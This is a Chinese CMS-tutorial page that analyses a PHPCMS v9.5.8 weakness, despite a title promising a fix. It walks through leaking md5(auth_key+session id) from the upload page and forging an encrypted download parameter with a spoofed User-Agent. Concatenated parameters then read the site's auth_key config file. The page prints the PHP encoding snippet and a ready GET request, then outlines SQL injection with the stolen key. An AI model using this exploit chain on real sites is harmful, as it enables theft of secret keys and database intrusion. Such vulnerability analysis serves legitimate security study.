您现在的位置是:首页 > cms教程 > phpcms教程phpcms教程
PHPCMS某处设计缺陷authkey泄露的解决方法
章学共2025-05-29phpcms教程已有人查阅
导读在分析几个phpcms的漏洞就换分析其他的,换换口味。swfupload上传页面输出了MD5(auth_key+sess_id)。
在分析几个phpcms的漏洞就换分析其他的,换换口味。swfupload上传页面输出了MD5(auth_key+sess_id)。
函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行
看到这里:
在跟踪到上面去$swf_auth_key的值。
跟踪这整个函数,看看哪里引用了。
限制:在线投稿(需要后台开启)
在发布投稿的时候,有个图片上传,url就位于那里。
查看源码就能看到输出在页面的值了。
记录下来两个值。
接着看到第二个漏洞点。
位于 /phpcms/modules/content/down.php 第83-124行。
看到这句,
上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同
s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);
然后就能读取任意文件啦。
读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。
有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作。
函数位于 /phpcms/modules/attachment/functions/global.func.php 第45-91行
function initupload($module, $catid,$args, $userid, $groupid = '8', $isadmin = '0',$userid_flash='0'){
$grouplist = getcache('grouplist','member');
if($isadmin==0 && !$grouplist[$groupid]['allowattachment']) return false;
extract(getswfinit($args));
$siteid = param::get_cookie('siteid');
$site_setting = get_site_setting($siteid);
$file_size_limit = $site_setting['upload_maxsize'];
$sess_id = SYS_TIME;
$admin_url = pc_base::load_config('system','admin_url');
$upload_path = empty($admin_url) ? APP_PATH : 'http://'.$admin_url.'/';
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$init = 'var swfu = \'\';
$(document).ready(function(){
swfu = new SWFUpload({
flash_url:"'.JS_PATH.'swfupload/swfupload.swf?"+Math.random(),
upload_url:"'.$upload_path.'index.php?m=attachment&c=attachments&a=swfupload&dosubmit=1",
file_post_name : "Filedata",
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
file_size_limit:"'.$file_size_limit.'",
file_types:"'.$file_types.'",
file_types_description:"All Files",
file_upload_limit:"'.$file_upload_limit.'",
custom_settings : {progressTarget : "fsUploadProgress",cancelButtonId : "btnCancel"},
button_image_url: "",
button_width: 75,
button_height: 28,
button_placeholder_id: "buttonPlaceHolder",
button_text_style: "",
button_text_top_padding: 3,
button_text_left_padding: 12,
button_window_mode: SWFUpload.WINDOW_MODE.TRANSPARENT,
button_cursor: SWFUpload.CURSOR.HAND,
file_dialog_start_handler : fileDialogStart,
file_queued_handler : fileQueued,
file_queue_error_handler:fileQueueError,
file_dialog_complete_handler:fileDialogComplete,
upload_progress_handler:uploadProgress,
upload_error_handler:uploadError,
upload_success_handler:uploadSuccess,
upload_complete_handler:uploadComplete
});
})';
return $init;
}
可以看到$init参数的值为一段js代码。看到这里:
post_params:{"SWFUPLOADSESSID":"'.$sess_id.'","module":"'.$module.'","catid":"'.$_GET['catid'].'","userid":"'.$userid.'","siteid":"'.$siteid.'","dosubmit":"1","thumb_width":"'.$thumb_width.'","thumb_height":"'.$thumb_height.'","watermark_enable":"'.$watermark_enable.'","filetype_post":"'.$file_types_post.'","swf_auth_key":"'.$swf_auth_key.'","isadmin":"'.$isadmin.'","groupid":"'.$groupid.'","userid_flash":"'.$userid_flash.'"},
混杂着$sess_id和$swf_auth_key的值在跟踪到上面去$swf_auth_key的值。
$swf_auth_key = md5(pc_base::load_config('system','auth_key').$sess_id);
$swf_auth_key是由auth_key和$sess_id联合在一起共同进行md5加密。并且$swf_auth_key,$sess_id都输出到页面上了。跟踪这整个函数,看看哪里引用了。
限制:在线投稿(需要后台开启)
在发布投稿的时候,有个图片上传,url就位于那里。
查看源码就能看到输出在页面的值了。
记录下来两个值。
接着看到第二个漏洞点。
位于 /phpcms/modules/content/down.php 第83-124行。
public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
file_down($fileurl, $filename);
}
}
}
看到开头的这句话:
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT']);
利用auth_key和HTTP_USER_AGENT进行加密。UA我们本地是可以控制的,所以我们可以让UA的值与$sess_id的值相同,然后$pc_auth_key 我们也是知道的。看到这句,
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
$a_k是利用GET过来的,$pc_auth_key我们又是知道的,所以我们可以本地生成经过加密$a_k的值
<?php
include '/Applications/MAMP/htdocs/phpcms_v9.5.8/phpsso_server/phpcms/libs/functions/global.func.php';
echo sys_auth('i=3&d=1&t=9999999999&ip=127.0.0.1&m=3&modelid=3&s=caches/configs/system.p&f=hp', 'ENCODE', '12d92ed5288d3779cbbc21050a2872c7');
?>
先包含sys_auth函数,然后构造我们要下载的文件地址。上面的那些参数是download函数需要的,具体的解释在以前文章有个这里的windows下任意文件相同
s和f参数,利用拼接来绕过检查,也就是这句:if($m) $fileurl = trim($s).trim($fileurl);
然后就能读取任意文件啦。
GET /phpcms_v9.5.8/index.php?m=content&c=down&a=download&a_k=4a24vbaImAul-EwWcTrYs7wE7j5Urx5t4oU732dLThlYS7A3T-z8Wx31XLBrijP0c6yi0MxacTEGBpGIc6w-t52fF-yPcyQv5O9aZCvLQxseCnyLPytVPcArzKYcBMEEhwiLu8pcvAmZ_ZDiO-YSI5d1MshWeQ6qo2LPi7-DaRpawVQ HTTP/1.1
Host: phpstudy.com
User-Agent: 1495713362
a_k的值是php文件加密来的,需要替换,UA是$sess_id的值,也是需要替换。读取到的文件caches/configs/system.php 为网站放置auth_key的php文件。
有了这个auth_key,我们就能在本地混合sql语句然后加密auth_key,网站进行解码以后输出sql语句来绕过检查,然后对网站进行注入等操作。
本文标签:
很赞哦! ()
上一篇:phpcms怎么添加模块
图文教程
phpcms判断是否有子栏目的写法示例
phpcms如何判断是否有子栏目?1、直接使用PHP语法“if”判断栏目的“child”;2、使用模板标签中的“if”标签直接判断栏目的“child”;
本机安装PHPCMS的方法步骤
如何在本机安装PHPCMS?首先下载安装PHPStudy;然后打开PHPStudy,并启动服务;接着添加网站,并进入网站根目录;
phpcms后台管理页面怎么修改
phpcms从网上下载就好了,记住这个要安装在Wamp中的 文件下从网页输入网址进入后台控制输入密码账号,即进入后台控制界面:后台管理有自带的网页模板把他换成自己的模板:
phpcms做企业站的流程
做一个企业站,三个页面比较重要1、首页2、列表页3、内容页做企业站的流程:1、由美工出一张,设计效果图2、将设计图静态化3、开始安装CMS4、强模板文件放到CSM里面
相关源码
-
自适应新闻资讯技术博客个人网站pbootcms模板该模板基于PbootCMS开源内核深度开发,该模板适用于游戏新闻网站、游戏博客等企业或个人网站,新闻资讯技术博客pbootcms模板;采用六级分辨率断点适配技术查看源码 -
(PC+WAP)绣花刺绣传统手工工艺pbootcms网站源码下载这款基于PbootCMS的网站模板为刺绣和传统手工艺行业设计,采用优雅的布局和精致的细节处理,能够呈现手工艺品的独特韵味和文化内涵。模板结构合理,功能完善,是手工艺从业者展示作品的理想选择。查看源码 -
粉色家政月嫂保姆公司pbootcms网站模板(PC+WAP)为家政服务、月嫂保姆企业打造的营销型解决方案,基于PbootCMS内核开发,采用温馨粉色主题传递行业温度。PHP7.0+高性能架构支持SQLite/MySQL双数据库查看源码 -
(响应式自适应)小学初中作文论文文章资讯博客pbootcms模板下载为中小学作文、教育类网站设计,特别适合展示学生作文、教学资源和写作指导等内容。采用响应式技术,确保在不同设备上都能获得良好的阅读体验。查看源码 -
(自适应)WordPress主题SEO自媒体博客资讯模板RabbitV2.0Rabbit v2.0主题专注于网站搜索引擎优化需求,为博客、自媒体及资讯类网站提供专业的SEO技术解决方案。该主题从架构设计到功能实现均围绕搜索引擎优化理念展开。查看源码 -
(自适应)居家生活日用品纸盘纸盒纸杯卫生纸巾生产厂家pbootcms模板为纸品生产企业打造的现代化展示平台,自动适应各种设备屏幕,确保浏览体验一致,完善的SEO功能,提升网站曝光度,基于PbootCMS构建,源码开放可定制。查看源码
| 分享笔记 (共有 篇笔记) |
